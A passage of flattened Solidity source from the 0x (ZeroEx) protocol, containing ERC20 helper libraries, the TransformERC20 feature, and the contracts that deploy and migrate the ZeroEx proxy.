limitations under the License.
*/
pragma solidity ^0.6.5;
library LibSafeMathRichErrorsV06 {
// bytes4(keccak256("Uint256BinOpError(uint8,uint256,uint256)"))
bytes4 internal constant UINT256_BINOP_ERROR_SELECTOR =
0xe946c1bb;
// bytes4(keccak256("Uint256DowncastError(uint8,uint256)"))
bytes4 internal constant UINT256_DOWNCAST_ERROR_SELECTOR =
0xc996af7b;
enum BinOpErrorCodes {
ADDITION_OVERFLOW,
MULTIPLICATION_OVERFLOW,
SUBTRACTION_UNDERFLOW,
DIVISION_BY_ZERO
}
enum DowncastErrorCodes {
VALUE_TOO_LARGE_TO_DOWNCAST_TO_UINT32,
VALUE_TOO_LARGE_TO_DOWNCAST_TO_UINT64,
VALUE_TOO_LARGE_TO_DOWNCAST_TO_UINT96
}
// solhint-disable func-name-mixedcase
function Uint256BinOpError(
BinOpErrorCodes errorCode,
uint256 a,
uint256 b
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
UINT256_BINOP_ERROR_SELECTOR,
errorCode,
a,
b
);
}
function Uint256DowncastError(
DowncastErrorCodes errorCode,
uint256 a
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
UINT256_DOWNCAST_ERROR_SELECTOR,
errorCode,
a
);
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
import "@0x/contracts-utils/contracts/src/v06/errors/LibRichErrorsV06.sol";
import "@0x/contracts-utils/contracts/src/v06/LibBytesV06.sol";
import "./IERC20TokenV06.sol";
library LibERC20TokenV06 {
bytes constant private DECIMALS_CALL_DATA = hex"313ce567";
/// @dev Calls `IERC20TokenV06(token).approve()`.
/// Reverts if the result fails `isSuccessfulResult()` or the call reverts.
/// @param token The address of the token contract.
/// @param spender The address that receives an allowance.
/// @param allowance The allowance to set.
function compatApprove(
IERC20TokenV06 token,
address spender,
uint256 allowance
)
internal
{
bytes memory callData = abi.encodeWithSelector(
token.approve.selector,
spender,
allowance
);
_callWithOptionalBooleanResult(address(token), callData);
}
/// @dev Calls `IERC20TokenV06(token).approve()` and sets the allowance to the
/// maximum if the current approval is not already >= an amount.
/// Reverts if the result fails `isSuccessfulResult()` or the call reverts.
/// @param token The address of the token contract.
/// @param spender The address that receives an allowance.
/// @param amount The minimum allowance needed.
function approveIfBelow(
IERC20TokenV06 token,
address spender,
uint256 amount
)
internal
{
if (token.allowance(address(this), spender) < amount) {
compatApprove(token, spender, uint256(-1));
}
}
/// @dev Calls `IERC20TokenV06(token).transfer()`.
/// Reverts if the result fails `isSuccessfulResult()` or the call reverts.
/// @param token The address of the token contract.
/// @param to The address that receives the tokens
/// @param amount Number of tokens to transfer.
function compatTransfer(
IERC20TokenV06 token,
address to,
uint256 amount
)
internal
{
bytes memory callData = abi.encodeWithSelector(
token.transfer.selector,
to,
amount
);
_callWithOptionalBooleanResult(address(token), callData);
}
/// @dev Calls `IERC20TokenV06(token).transferFrom()`.
/// Reverts if the result fails `isSuccessfulResult()` or the call reverts.
/// @param token The address of the token contract.
/// @param from The owner of the tokens.
/// @param to The address that receives the tokens
/// @param amount Number of tokens to transfer.
function compatTransferFrom(
IERC20TokenV06 token,
address from,
address to,
uint256 amount
)
internal
{
bytes memory callData = abi.encodeWithSelector(
token.transferFrom.selector,
from,
to,
amount
);
_callWithOptionalBooleanResult(address(token), callData);
}
/// @dev Retrieves the number of decimals for a token.
/// Returns `18` if the call reverts.
/// @param token The address of the token contract.
/// @return tokenDecimals The number of decimals places for the token.
function compatDecimals(IERC20TokenV06 token)
internal
view
returns (uint8 tokenDecimals)
{
tokenDecimals = 18;
(bool didSucceed, bytes memory resultData) = address(token).staticcall(DECIMALS_CALL_DATA);
if (didSucceed && resultData.length == 32) {
tokenDecimals = uint8(LibBytesV06.readUint256(resultData, 0));
}
}
/// @dev Retrieves the allowance for a token, owner, and spender.
/// Returns `0` if the call reverts.
/// @param token The address of the token contract.
/// @param owner The owner of the tokens.
/// @param spender The address the spender.
/// @return allowance_ The allowance for a token, owner, and spender.
function compatAllowance(IERC20TokenV06 token, address owner, address spender)
internal
view
returns (uint256 allowance_)
{
(bool didSucceed, bytes memory resultData) = address(token).staticcall(
abi.encodeWithSelector(
token.allowance.selector,
owner,
spender
)
);
if (didSucceed && resultData.length == 32) {
allowance_ = LibBytesV06.readUint256(resultData, 0);
}
}
/// @dev Retrieves the balance for a token owner.
/// Returns `0` if the call reverts.
/// @param token The address of the token contract.
/// @param owner The owner of the tokens.
/// @return balance The token balance of an owner.
function compatBalanceOf(IERC20TokenV06 token, address owner)
internal
view
returns (uint256 balance)
{
(bool didSucceed, bytes memory resultData) = address(token).staticcall(
abi.encodeWithSelector(
token.balanceOf.selector,
owner
)
);
if (didSucceed && resultData.length == 32) {
balance = LibBytesV06.readUint256(resultData, 0);
}
}
/// @dev Check if the data returned by a non-static call to an ERC20 token
/// is a successful result. Supported functions are `transfer()`,
/// `transferFrom()`, and `approve()`.
/// @param resultData The raw data returned by a non-static call to the ERC20 token.
/// @return isSuccessful Whether the result data indicates success.
function isSuccessfulResult(bytes memory resultData)
internal
pure
returns (bool isSuccessful)
{
if (resultData.length == 0) {
return true;
}
if (resultData.length == 32) {
uint256 result = LibBytesV06.readUint256(resultData, 0);
if (result == 1) {
return true;
}
}
}
/// @dev Executes a call on address `target` with calldata `callData`
/// and asserts that either nothing was returned or a single boolean
/// was returned equal to `true`.
/// @param target The call target.
/// @param callData The abi-encoded call data.
function _callWithOptionalBooleanResult(
address target,
bytes memory callData
)
private
{
(bool didSucceed, bytes memory resultData) = target.call(callData);
if (didSucceed && isSuccessfulResult(resultData)) {
return;
}
LibRichErrorsV06.rrevert(resultData);
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "./LibStorage.sol";
import "../external/IAllowanceTarget.sol";
/// @dev Storage helpers for the `TokenSpender` feature.
library LibTokenSpenderStorage {
/// @dev Storage bucket for this feature.
struct Storage {
// Allowance target contract.
IAllowanceTarget allowanceTarget;
}
/// @dev Get the storage bucket for this contract.
function getStorage() internal pure returns (Storage storage stor) {
uint256 storageSlot = LibStorage.getStorageSlot(
LibStorage.StorageId.TokenSpender
);
// Dip into assembly to change the slot pointed to by the local
// variable `stor`.
// See https://solidity.readthedocs.io/en/v0.6.8/assembly.html?highlight=slot#access-to-external-variables-functions-and-libraries
assembly { stor_slot := storageSlot }
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "@0x/contracts-erc20/contracts/src/v06/IERC20TokenV06.sol";
import "@0x/contracts-erc20/contracts/src/v06/LibERC20TokenV06.sol";
import "@0x/contracts-utils/contracts/src/v06/errors/LibRichErrorsV06.sol";
import "@0x/contracts-utils/contracts/src/v06/LibSafeMathV06.sol";
import "../errors/LibTransformERC20RichErrors.sol";
import "../fixins/FixinCommon.sol";
import "../migrations/LibMigrate.sol";
import "../external/IFlashWallet.sol";
import "../external/FlashWallet.sol";
import "../storage/LibTransformERC20Storage.sol";
import "../transformers/IERC20Transformer.sol";
import "../transformers/LibERC20Transformer.sol";
import "./ITransformERC20.sol";
import "./ITokenSpender.sol";
import "./IFeature.sol";
import "./ISimpleFunctionRegistry.sol";
/// @dev Feature to composably transform between ERC20 tokens.
contract TransformERC20 is
IFeature,
ITransformERC20,
FixinCommon
{
/// @dev Stack vars for `_transformERC20Private()`.
struct TransformERC20PrivateState {
IFlashWallet wallet;
address transformerDeployer;
uint256 takerOutputTokenBalanceBefore;
uint256 takerOutputTokenBalanceAfter;
}
// solhint-disable
/// @dev Name of this feature.
string public constant override FEATURE_NAME = "TransformERC20";
/// @dev Version of this feature.
uint256 public immutable override FEATURE_VERSION = _encodeVersion(1, 0, 0);
/// @dev The implementation address of this feature.
address private immutable _implementation;
// solhint-enable
using LibSafeMathV06 for uint256;
using LibRichErrorsV06 for bytes;
constructor() public {
_implementation = address(this);
}
/// @dev Initialize and register this feature.
/// Should be delegatecalled by `Migrate.migrate()`.
/// @param transformerDeployer The trusted deployer for transformers.
/// @return success `LibMigrate.SUCCESS` on success.
function migrate(address transformerDeployer) external returns (bytes4 success) {
ISimpleFunctionRegistry(address(this))
.extend(this.getTransformerDeployer.selector, _implementation);
ISimpleFunctionRegistry(address(this))
.extend(this.createTransformWallet.selector, _implementation);
ISimpleFunctionRegistry(address(this))
.extend(this.getTransformWallet.selector, _implementation);
ISimpleFunctionRegistry(address(this))
.extend(this.setTransformerDeployer.selector, _implementation);
ISimpleFunctionRegistry(address(this))
.extend(this.transformERC20.selector, _implementation);
ISimpleFunctionRegistry(address(this))
.extend(this._transformERC20.selector, _implementation);
createTransformWallet();
LibTransformERC20Storage.getStorage().transformerDeployer = transformerDeployer;
return LibMigrate.MIGRATE_SUCCESS;
}
/// @dev Replace the allowed deployer for transformers.
/// Only callable by the owner.
/// @param transformerDeployer The address of the trusted deployer for transformers.
function setTransformerDeployer(address transformerDeployer)
external
override
onlyOwner
{
LibTransformERC20Storage.getStorage().transformerDeployer = transformerDeployer;
emit TransformerDeployerUpdated(transformerDeployer);
}
/// @dev Return the allowed deployer for transformers.
/// @return deployer The transform deployer address.
function getTransformerDeployer()
public
override
view
returns (address deployer)
{
return LibTransformERC20Storage.getStorage().transformerDeployer;
}
/// @dev Deploy a new wallet instance and replace the current one with it.
/// Useful if we somehow break the current wallet instance.
/// Anyone can call this.
/// @return wallet The new wallet instance.
function createTransformWallet()
public
override
returns (IFlashWallet wallet)
{
wallet = new FlashWallet();
LibTransformERC20Storage.getStorage().wallet = wallet;
}
/// @dev Executes a series of transformations to convert an ERC20 `inputToken`
/// to an ERC20 `outputToken`.
/// @param inputToken The token being provided by the sender.
/// If `0xeee...`, ETH is implied and should be provided with the call.`
/// @param outputToken The token to be acquired by the sender.
/// `0xeee...` implies ETH.
/// @param inputTokenAmount The amount of `inputToken` to take from the sender.
/// If set to `uint256(-1)`, the entire spendable balance of the taker
/// will be solt.
/// @param minOutputTokenAmount The minimum amount of `outputToken` the sender
/// must receive for the entire transformation to succeed. If set to zero,
/// the minimum output token transfer will not be asserted.
/// @param transformations The transformations to execute on the token balance(s)
/// in sequence.
/// @return outputTokenAmount The amount of `outputToken` received by the sender.
function transformERC20(
IERC20TokenV06 inputToken,
IERC20TokenV06 outputToken,
uint256 inputTokenAmount,
uint256 minOutputTokenAmount,
Transformation[] memory transformations
)
public
override
payable
returns (uint256 outputTokenAmount)
{
return _transformERC20Private(
keccak256(msg.data),
msg.sender,
inputToken,
outputToken,
inputTokenAmount,
minOutputTokenAmount,
transformations
);
}
/// @dev Internal version of `transformERC20()`. Only callable from within.
/// @param callDataHash Hash of the ingress calldata.
/// @param taker The taker address.
/// @param inputToken The token being provided by the taker.
/// If `0xeee...`, ETH is implied and should be provided with the call.`
/// @param outputToken The token to be acquired by the taker.
/// `0xeee...` implies ETH.
/// @param inputTokenAmount The amount of `inputToken` to take from the taker.
/// If set to `uint256(-1)`, the entire spendable balance of the taker
/// will be solt.
/// @param minOutputTokenAmount The minimum amount of `outputToken` the taker
/// must receive for the entire transformation to succeed. If set to zero,
/// the minimum output token transfer will not be asserted.
/// @param transformations The transformations to execute on the token balance(s)
/// in sequence.
/// @return outputTokenAmount The amount of `outputToken` received by the taker.
function _transformERC20(
bytes32 callDataHash,
address payable taker,
IERC20TokenV06 inputToken,
IERC20TokenV06 outputToken,
uint256 inputTokenAmount,
uint256 minOutputTokenAmount,
Transformation[] memory transformations
)
public
override
payable
onlySelf
returns (uint256 outputTokenAmount)
{
return _transformERC20Private(
callDataHash,
taker,
inputToken,
outputToken,
inputTokenAmount,
minOutputTokenAmount,
transformations
);
}
/// @dev Private version of `transformERC20()`.
/// @param callDataHash Hash of the ingress calldata.
/// @param taker The taker address.
/// @param inputToken The token being provided by the taker.
/// If `0xeee...`, ETH is implied and should be provided with the call.`
/// @param outputToken The token to be acquired by the taker.
/// `0xeee...` implies ETH.
/// @param inputTokenAmount The amount of `inputToken` to take from the taker.
/// If set to `uint256(-1)`, the entire spendable balance of the taker
/// will be solt.
/// @param minOutputTokenAmount The minimum amount of `outputToken` the taker
/// must receive for the entire transformation to succeed. If set to zero,
/// the minimum output token transfer will not be asserted.
/// @param transformations The transformations to execute on the token balance(s)
/// in sequence.
/// @return outputTokenAmount The amount of `outputToken` received by the taker.
function _transformERC20Private(
bytes32 callDataHash,
address payable taker,
IERC20TokenV06 inputToken,
IERC20TokenV06 outputToken,
uint256 inputTokenAmount,
uint256 minOutputTokenAmount,
Transformation[] memory transformations
)
private
returns (uint256 outputTokenAmount)
{
// If the input token amount is -1, transform the taker's entire
// spendable balance.
if (inputTokenAmount == uint256(-1)) {
inputTokenAmount = ITokenSpender(address(this))
.getSpendableERC20BalanceOf(inputToken, taker);
}
TransformERC20PrivateState memory state;
state.wallet = getTransformWallet();
state.transformerDeployer = getTransformerDeployer();
// Remember the initial output token balance of the taker.
state.takerOutputTokenBalanceBefore =
LibERC20Transformer.getTokenBalanceOf(outputToken, taker);
// Pull input tokens from the taker to the wallet and transfer attached ETH.
_transferInputTokensAndAttachedEth(
inputToken,
taker,
address(state.wallet),
inputTokenAmount
);
// Perform transformations.
for (uint256 i = 0; i < transformations.length; ++i) {
_executeTransformation(
state.wallet,
transformations[i],
state.transformerDeployer,
taker,
callDataHash
);
}
// Compute how much output token has been transferred to the taker.
state.takerOutputTokenBalanceAfter =
LibERC20Transformer.getTokenBalanceOf(outputToken, taker);
if (state.takerOutputTokenBalanceAfter > state.takerOutputTokenBalanceBefore) {
outputTokenAmount = state.takerOutputTokenBalanceAfter.safeSub(
state.takerOutputTokenBalanceBefore
);
} else if (state.takerOutputTokenBalanceAfter < state.takerOutputTokenBalanceBefore) {
LibTransformERC20RichErrors.NegativeTransformERC20OutputError(
address(outputToken),
state.takerOutputTokenBalanceBefore - state.takerOutputTokenBalanceAfter
).rrevert();
}
// Ensure enough output token has been sent to the taker.
if (outputTokenAmount < minOutputTokenAmount) {
LibTransformERC20RichErrors.IncompleteTransformERC20Error(
address(outputToken),
outputTokenAmount,
minOutputTokenAmount
).rrevert();
}
// Emit an event.
emit TransformedERC20(
taker,
address(inputToken),
address(outputToken),
inputTokenAmount,
outputTokenAmount
);
}
/// @dev Return the current wallet instance that will serve as the execution
/// context for transformations.
/// @return wallet The wallet instance.
function getTransformWallet()
public
override
view
returns (IFlashWallet wallet)
{
return LibTransformERC20Storage.getStorage().wallet;
}
/// @dev Transfer input tokens from the taker and any attached ETH to `to`
/// @param inputToken The token to pull from the taker.
/// @param from The from (taker) address.
/// @param to The recipient of tokens and ETH.
/// @param amount Amount of `inputToken` tokens to transfer.
function _transferInputTokensAndAttachedEth(
IERC20TokenV06 inputToken,
address from,
address payable to,
uint256 amount
)
private
{
// Transfer any attached ETH.
if (msg.value != 0) {
to.transfer(msg.value);
}
// Transfer input tokens.
if (!LibERC20Transformer.isTokenETH(inputToken)) {
// Token is not ETH, so pull ERC20 tokens.
ITokenSpender(address(this))._spendERC20Tokens(
inputToken,
from,
to,
amount
);
} else if (msg.value < amount) {
// Token is ETH, so the caller must attach enough ETH to the call.
LibTransformERC20RichErrors.InsufficientEthAttachedError(
msg.value,
amount
).rrevert();
}
}
/// @dev Executs a transformer in the context of `wallet`.
/// @param wallet The wallet instance.
/// @param transformation The transformation.
/// @param transformerDeployer The address of the transformer deployer.
/// @param taker The taker address.
/// @param callDataHash Hash of the calldata.
function _executeTransformation(
IFlashWallet wallet,
Transformation memory transformation,
address transformerDeployer,
address payable taker,
bytes32 callDataHash
)
private
{
// Derive the transformer address from the deployment nonce.
address payable transformer = LibERC20Transformer.getDeployedAddress(
transformerDeployer,
transformation.deploymentNonce
);
// Call `transformer.transform()` as the wallet.
bytes memory resultData = wallet.executeDelegateCall(
// The call target.
transformer,
// Call data.
abi.encodeWithSelector(
IERC20Transformer.transform.selector,
callDataHash,
taker,
transformation.data
)
);
// Ensure the transformer returned the magic bytes.
if (resultData.length != 32 ||
abi.decode(resultData, (bytes4)) != LibERC20Transformer.TRANSFORMER_SUCCESS
) {
LibTransformERC20RichErrors.TransformerFailedError(
transformer,
transformation.data,
resultData
).rrevert();
}
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "./LibStorage.sol";
import "../external/IFlashWallet.sol";
/// @dev Storage helpers for the `TokenSpender` feature.
library LibTransformERC20Storage {
/// @dev Storage bucket for this feature.
struct Storage {
// The current wallet instance.
IFlashWallet wallet;
// The transformer deployer address.
address transformerDeployer;
}
/// @dev Get the storage bucket for this contract.
function getStorage() internal pure returns (Storage storage stor) {
uint256 storageSlot = LibStorage.getStorageSlot(
LibStorage.StorageId.TransformERC20
);
// Dip into assembly to change the slot pointed to by the local
// variable `stor`.
// See https://solidity.readthedocs.io/en/v0.6.8/assembly.html?highlight=slot#access-to-external-variables-functions-and-libraries
assembly { stor_slot := storageSlot }
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "@0x/contracts-erc20/contracts/src/v06/IERC20TokenV06.sol";
import "@0x/contracts-erc20/contracts/src/v06/LibERC20TokenV06.sol";
library LibERC20Transformer {
using LibERC20TokenV06 for IERC20TokenV06;
/// @dev ETH pseudo-token address.
address constant internal ETH_TOKEN_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
/// @dev Return value indicating success in `IERC20Transformer.transform()`.
/// This is just `keccak256('TRANSFORMER_SUCCESS')`.
bytes4 constant internal TRANSFORMER_SUCCESS = 0x13c9929e;
/// @dev Transfer ERC20 tokens and ETH.
/// @param token An ERC20 or the ETH pseudo-token address (`ETH_TOKEN_ADDRESS`).
/// @param to The recipient.
/// @param amount The transfer amount.
function transformerTransfer(
IERC20TokenV06 token,
address payable to,
uint256 amount
)
internal
{
if (isTokenETH(token)) {
to.transfer(amount);
} else {
token.compatTransfer(to, amount);
}
}
/// @dev Check if a token is the ETH pseudo-token.
/// @param token The token to check.
/// @return isETH `true` if the token is the ETH pseudo-token.
function isTokenETH(IERC20TokenV06 token)
internal
pure
returns (bool isETH)
{
return address(token) == ETH_TOKEN_ADDRESS;
}
/// @dev Check the balance of an ERC20 token or ETH.
/// @param token An ERC20 or the ETH pseudo-token address (`ETH_TOKEN_ADDRESS`).
/// @param owner Holder of the tokens.
/// @return tokenBalance The balance of `owner`.
function getTokenBalanceOf(IERC20TokenV06 token, address owner)
internal
view
returns (uint256 tokenBalance)
{
if (isTokenETH(token)) {
return owner.balance;
}
return token.balanceOf(owner);
}
/// @dev RLP-encode a 32-bit or less account nonce.
/// @param nonce A positive integer in the range 0 <= nonce < 2^32.
/// @return rlpNonce The RLP encoding.
function rlpEncodeNonce(uint32 nonce)
internal
pure
returns (bytes memory rlpNonce)
{
// See https://github.com/ethereum/wiki/wiki/RLP for RLP encoding rules.
if (nonce == 0) {
rlpNonce = new bytes(1);
rlpNonce[0] = 0x80;
} else if (nonce < 0x80) {
rlpNonce = new bytes(1);
rlpNonce[0] = byte(uint8(nonce));
} else if (nonce <= 0xFF) {
rlpNonce = new bytes(2);
rlpNonce[0] = 0x81;
rlpNonce[1] = byte(uint8(nonce));
} else if (nonce <= 0xFFFF) {
rlpNonce = new bytes(3);
rlpNonce[0] = 0x82;
rlpNonce[1] = byte(uint8((nonce & 0xFF00) >> 8));
rlpNonce[2] = byte(uint8(nonce));
} else if (nonce <= 0xFFFFFF) {
rlpNonce = new bytes(4);
rlpNonce[0] = 0x83;
rlpNonce[1] = byte(uint8((nonce & 0xFF0000) >> 16));
rlpNonce[2] = byte(uint8((nonce & 0xFF00) >> 8));
rlpNonce[3] = byte(uint8(nonce));
} else {
rlpNonce = new bytes(5);
rlpNonce[0] = 0x84;
rlpNonce[1] = byte(uint8((nonce & 0xFF000000) >> 24));
rlpNonce[2] = byte(uint8((nonce & 0xFF0000) >> 16));
rlpNonce[3] = byte(uint8((nonce & 0xFF00) >> 8));
rlpNonce[4] = byte(uint8(nonce));
}
}
/// @dev Compute the expected deployment address by `deployer` at
/// the nonce given by `deploymentNonce`.
/// @param deployer The address of the deployer.
/// @param deploymentNonce The nonce that the deployer had when deploying
/// a contract.
/// @return deploymentAddress The deployment address.
function getDeployedAddress(address deployer, uint32 deploymentNonce)
internal
pure
returns (address payable deploymentAddress)
{
// The address of if a deployed contract is the lower 20 bytes of the
// hash of the RLP-encoded deployer's account address + account nonce.
// See: https://ethereum.stackexchange.com/questions/760/how-is-the-address-of-an-ethereum-contract-computed
bytes memory rlpNonce = rlpEncodeNonce(deploymentNonce);
return address(uint160(uint256(keccak256(abi.encodePacked(
byte(uint8(0xC0 + 21 + rlpNonce.length)),
byte(uint8(0x80 + 20)),
deployer,
rlpNonce
)))));
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "../ZeroEx.sol";
import "../features/IOwnable.sol";
import "../features/TokenSpender.sol";
import "../features/TransformERC20.sol";
import "../external/AllowanceTarget.sol";
import "./InitialMigration.sol";
/// @dev A contract for deploying and configuring the full ZeroEx contract.
contract FullMigration {
// solhint-disable no-empty-blocks,indent
/// @dev Features to add the the proxy contract.
struct Features {
SimpleFunctionRegistry registry;
Ownable ownable;
TokenSpender tokenSpender;
TransformERC20 transformERC20;
}
/// @dev Parameters needed to initialize features.
struct MigrateOpts {
address transformerDeployer;
}
/// @dev The allowed caller of `deploy()`.
address public immutable deployer;
/// @dev The initial migration contract.
InitialMigration private _initialMigration;
/// @dev Instantiate this contract and set the allowed caller of `deploy()`
/// to `deployer`.
/// @param deployer_ The allowed caller of `deploy()`.
constructor(address payable deployer_)
public
{
deployer = deployer_;
// Create an initial migration contract with this contract set to the
// allowed deployer.
_initialMigration = new InitialMigration(address(this));
}
/// @dev Deploy the `ZeroEx` contract with the full feature set,
/// transfer ownership to `owner`, then self-destruct.
/// @param owner The owner of the contract.
/// @param features Features to add to the proxy.
/// @return zeroEx The deployed and configured `ZeroEx` contract.
/// @param migrateOpts Parameters needed to initialize features.
function deploy(
address payable owner,
Features memory features,
MigrateOpts memory migrateOpts
)
public
returns (ZeroEx zeroEx)
{
require(msg.sender == deployer, "FullMigration/INVALID_SENDER");
// Perform the initial migration with the owner set to this contract.
zeroEx = _initialMigration.deploy(
address(uint160(address(this))),
InitialMigration.BootstrapFeatures({
registry: features.registry,
ownable: features.ownable
})
);
// Add features.
_addFeatures(zeroEx, owner, features, migrateOpts);
// Transfer ownership to the real owner.
IOwnable(address(zeroEx)).transferOwnership(owner);
// Self-destruct.
this.die(owner);
}
/// @dev Destroy this contract. Only callable from ourselves (from `deploy()`).
/// @param ethRecipient Receiver of any ETH in this contract.
function die(address payable ethRecipient)
external
virtual
{
require(msg.sender == address(this), "FullMigration/INVALID_SENDER");
// This contract should not hold any funds but we send
// them to the ethRecipient just in case.
selfdestruct(ethRecipient);
}
/// @dev Deploy and register features to the ZeroEx contract.
/// @param zeroEx The bootstrapped ZeroEx contract.
/// @param owner The ultimate owner of the ZeroEx contract.
/// @param features Features to add to the proxy.
/// @param migrateOpts Parameters needed to initialize features.
function _addFeatures(
ZeroEx zeroEx,
address owner,
Features memory features,
MigrateOpts memory migrateOpts
)
private
{
IOwnable ownable = IOwnable(address(zeroEx));
// TokenSpender
{
// Create the allowance target.
AllowanceTarget allowanceTarget = new AllowanceTarget();
// Let the ZeroEx contract use the allowance target.
allowanceTarget.addAuthorizedAddress(address(zeroEx));
// Transfer ownership of the allowance target to the (real) owner.
allowanceTarget.transferOwnership(owner);
// Register the feature.
ownable.migrate(
address(features.tokenSpender),
abi.encodeWithSelector(
TokenSpender.migrate.selector,
allowanceTarget
),
address(this)
);
}
// TransformERC20
{
// Register the feature.
ownable.migrate(
address(features.transformERC20),
abi.encodeWithSelector(
TransformERC20.migrate.selector,
migrateOpts.transformerDeployer
),
address(this)
);
}
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "../ZeroEx.sol";
import "../features/IBootstrap.sol";
import "../features/SimpleFunctionRegistry.sol";
import "../features/Ownable.sol";
import "./LibBootstrap.sol";
/// @dev A contract for deploying and configuring a minimal ZeroEx contract.
contract InitialMigration {
/// @dev Features to bootstrap into the the proxy contract.
struct BootstrapFeatures {
SimpleFunctionRegistry registry;
Ownable ownable;
}
/// @dev The allowed caller of `deploy()`. In production, this would be
/// the governor.
address public immutable deployer;
/// @dev The real address of this contract.
address private immutable _implementation;
/// @dev Instantiate this contract and set the allowed caller of `deploy()`
/// to `deployer_`.
/// @param deployer_ The allowed caller of `deploy()`.
constructor(address deployer_) public {
deployer = deployer_;
_implementation = address(this);
}
/// @dev Deploy the `ZeroEx` contract with the minimum feature set,
/// transfers ownership to `owner`, then self-destructs.
/// Only callable by `deployer` set in the contstructor.
/// @param owner The owner of the contract.
/// @param features Features to bootstrap into the proxy.
/// @return zeroEx The deployed and configured `ZeroEx` contract.
function deploy(address payable owner, BootstrapFeatures memory features)
public
virtual
returns (ZeroEx zeroEx)
{
// Must be called by the allowed deployer.
require(msg.sender == deployer, "InitialMigration/INVALID_SENDER");
// Deploy the ZeroEx contract, setting ourselves as the bootstrapper.
zeroEx = new ZeroEx();
// Bootstrap the initial feature set.
IBootstrap(address(zeroEx)).bootstrap(
address(this),
abi.encodeWithSelector(this.bootstrap.selector, owner, features)
);
// Self-destruct. This contract should not hold any funds but we send
// them to the owner just in case.
this.die(owner);
}
/// @dev Sets up the initial state of the `ZeroEx` contract.
/// The `ZeroEx` contract will delegatecall into this function.
/// @param owner The new owner of the ZeroEx contract.
/// @param features Features to bootstrap into the proxy.
/// @return success Magic bytes if successful.
function bootstrap(address owner, BootstrapFeatures memory features)
public
virtual
returns (bytes4 success)
{
// Deploy and migrate the initial features.
// Order matters here.
// Initialize Registry.
LibBootstrap.delegatecallBootstrapFunction(
address(features.registry),
abi.encodeWithSelector(
SimpleFunctionRegistry.bootstrap.selector
)
);
// Initialize Ownable.
LibBootstrap.delegatecallBootstrapFunction(
address(features.ownable),
abi.encodeWithSelector(
Ownable.bootstrap.selector
)
);
// De-register `SimpleFunctionRegistry._extendSelf`.
SimpleFunctionRegistry(address(this)).rollback(
SimpleFunctionRegistry._extendSelf.selector,
address(0)
);
// Transfer ownership to the real owner.
Ownable(address(this)).transferOwnership(owner);
success = LibBootstrap.BOOTSTRAP_SUCCESS;
}
/// @dev Self-destructs this contract. Only callable by this contract.
/// @param ethRecipient Who to transfer outstanding ETH to.
function die(address payable ethRecipient) public virtual {
require(msg.sender == _implementation, "InitialMigration/INVALID_SENDER");
selfdestruct(ethRecipient);
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
